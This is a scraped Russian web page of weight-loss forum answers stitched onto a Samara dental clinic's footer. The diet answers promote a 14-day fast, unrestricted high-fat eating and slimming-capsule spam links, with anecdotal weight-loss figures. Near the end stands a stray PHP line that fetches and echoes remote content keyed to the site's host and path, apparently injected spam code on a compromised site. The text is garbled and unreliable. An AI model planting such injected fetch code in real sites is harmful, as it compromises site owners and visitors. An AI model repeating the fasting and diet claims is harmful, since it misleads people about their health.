Безуглеводная. Она же белкова. Она же очковая. Она же кремлевская. Самая безопасная потому, что, пожалуй, самая физиологичная. Но и у нее есть ораничения. Натакой диете не нужно сидеть больше трех недель подряд. Дучше с перерывами. И обязательно пить щелочную воду. Например, "Донат". Я лично 7 лет назад на такой диете похудела за 6 неделб на 14 килограммов. И пока больше не поправляюсь.

Выход из рисовой диеты королевой. Размер 33 Мб. Скорость 7455 Kb s.

Три дня рис без соли (можно с соеым соусом) три дня вареная грудка, (без соли) три дня яблоки или овощи. ну сахар и алкоголь исключить лучше. я за 9 дней похудела на 5 кг (соблюдала так себе..).. и потом вес долго не возвращался

Необходимо подбирать индивидуально со специалистом, исходя из вашего телосложения и образа жизни. не портите здоровье!...

Ya dumoy malo jrat

14 дневное голодание, со всеми очистительными процедурами и тепловыми ваннами ( можно испить за это время 0.5 кг шиповника для очистки печени (несколько раз доливать и кипятить ), почечный чай пить, можно зеленый пол чайной ложечки на пол литра и 5 раз доливать, шалфей до литра 3 мин кипятить, чайная ложка на литр, а можно только одну воду если вкусная, Гулять, дышать, двигаться . Все лишнее сбросишь, Выход - стакан овощного сока, или пол .(запускает пищеварение )

Диета доктора Аткинса или еще ее называют Белковая диета.
Едите все, что содержит протеин: яйца, мясо, рыбу, слив. масло, сало, куры, индейка, креветки, орехи, сыр, творог, сметана - прчем, чем жирнее, тем лучше. Без ограничений. Можно солить, пить чай, кофе с жирными сливками.
Исключаете все сладное - ни-ни, нельзя спиртное, фрукты, соки, большинство овощей, хлеб и все мучное, макароны, сосиски, колбасы, если они не самодельные.
Из трав и овощей без ограничений можно редис, болгарский перец и петрушку. В обед к мясу чашка нарезанных листьев салата.
Соблюдать надо строго, очень. Пить витамины обязательно.
1-я неделя - -5 кг, в течении меясца еще -5.
Я так худела после родов год назад.
Литературы об этой диете - вагон. В "Ашане" посмотрите.

Диета Маргариты Королевой. Маргарита Королева врач диетолог, с помощью ее диет обрели прекрасные формы звезды нашего шоу- бизнеса.Вот пример такой девятидневной диеты, состоящей из трех монодиет Первые 3 дня рисовые . Вы едите толь ко рис...

Активный, энергичный и регулярный секс!

Телеведущий Владимир Соловьёв написал книгу, в которой он рассказывает, как он худел. Он имеет на это право, т. к похудел на 60кг. Я саму книгу не читал, но часто слушаю его радиоэфир. Он говорит, что слово " Диета" надо исключить из лексикона, и с большой благодарностью упоминает имя врача-диетолога Марины Королёвой, благодаря рекомендациям которой он смог так похудеть.
Книга, кажется, называется " Соловьёв против Соловьёва".

Ht tp://lyssymussu.ru/figurki/ Убери пробел между двумя т в хттп и ссылка готова. Попробуй это! ! Хватит себя истязать!

Schevelis pobolsche i ni kakuju dietu ne nado

Что бы похудеть и всегда оставаться в форме- прежде всего необходимо изменить свои привычки питания, НАЧНИ с ЗАВТРАКА: он должен содержать белки, клетчатку, витамины, микроэлименты, аминокислоты - как минимум .

  • Как убрать живот и накачать мышцы рук - Как дома гантелями и какими упражнениями накачать грудные мышцы и убрать живот? Www.slabakoff.net походу этот сайт, там
  • Гречневая диета и низкий гемоглобин - Кто сидел на гречневой диете? Как результаты? Очень хорошие, но только я выдержала 3 дня, а потом просто ела гречку с ут
  • Что собой представляет препарат для похудения миаози - Хочу похудеть (точка) com/282fzmf Капсулы для похудения MIAOZI МИАОЗИ основывается на теории традиционной китайской мед
  • Спортивная еда купить киев для похудения витамин в2 - Худеть в 45 лет, всё перепробовано. И вот к этим годам я поняла, что нервы уже не такие крепкие, что б выдерживать В 45
  • Диеты при заболеваниях щитовидки - Подскажите диету на которой можно прохудеть кг на 15 с заболеванием щетовидной железы Смотря какое заболевание щит желез
  • Ожирение 3 степени диеты - Как похудеть, при сильном ожирение, которое мешает жить? вес 95 (по моему 3 степень ожирения), рост 185. Какую диету Жал
  • Диета для пофилактики поджелудочной - С утра я ничего не ел, но мне не хочется ни есть, ни пить, а в груди точно жжет огнем? Выпей йаду! Может вы влюблены???
  • Диета для диабетика гипертоника - Какими продуктами можно наесться и не потолстеть, сытные, что б не хотелось есть? Овсяная каша на воде. Диета для больны
  • Морозник-Крем для похудения - Кто нибудь пробовал крем для похудения "Морозник"? Как результаты? Ну от крема еще ни кто не похудел Кремы для похудения
  • Ванны солью похудения отзывы - Как похудеть с пощью соды Сода для похудения - отзыв диетолога Сода есть в доме у каждой хозяйки и на фоне сумбурной шум
  • Как убрать живот и накачать мышцы рук - Как дома гантелями и какими упражнениями накачать грудные мышцы и убрать живот? Www.slabakoff.net походу этот сайт, там
  • Гречневая диета и низкий гемоглобин - Кто сидел на гречневой диете? Как результаты? Очень хорошие, но только я выдержала 3 дня, а потом просто ела гречку с ут
  • Что собой представляет препарат для похудения миаози - Хочу похудеть (точка) com/282fzmf Капсулы для похудения MIAOZI МИАОЗИ основывается на теории традиционной китайской мед
  • Спортивная еда купить киев для похудения витамин в2 - Худеть в 45 лет, всё перепробовано. И вот к этим годам я поняла, что нервы уже не такие крепкие, что б выдерживать В 45
  • Диеты при заболеваниях щитовидки - Подскажите диету на которой можно прохудеть кг на 15 с заболеванием щетовидной железы Смотря какое заболевание щит желез
  • Ожирение 3 степени диеты - Как похудеть, при сильном ожирение, которое мешает жить? вес 95 (по моему 3 степень ожирения), рост 185. Какую диету Жал
  • Диета для пофилактики поджелудочной - С утра я ничего не ел, но мне не хочется ни есть, ни пить, а в груди точно жжет огнем? Выпей йаду! Может вы влюблены???
  • Диета для диабетика гипертоника - Какими продуктами можно наесться и не потолстеть, сытные, что б не хотелось есть? Овсяная каша на воде. Диета для больны
  • Морозник-Крем для похудения - Кто нибудь пробовал крем для похудения "Морозник"? Как результаты? Ну от крема еще ни кто не похудел Кремы для похудения
  • Ванны солью похудения отзывы - Как похудеть с пощью соды Сода для похудения - отзыв диетолога Сода есть в доме у каждой хозяйки и на фоне сумбурной шум
Выход из рисовой диеты королевой
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта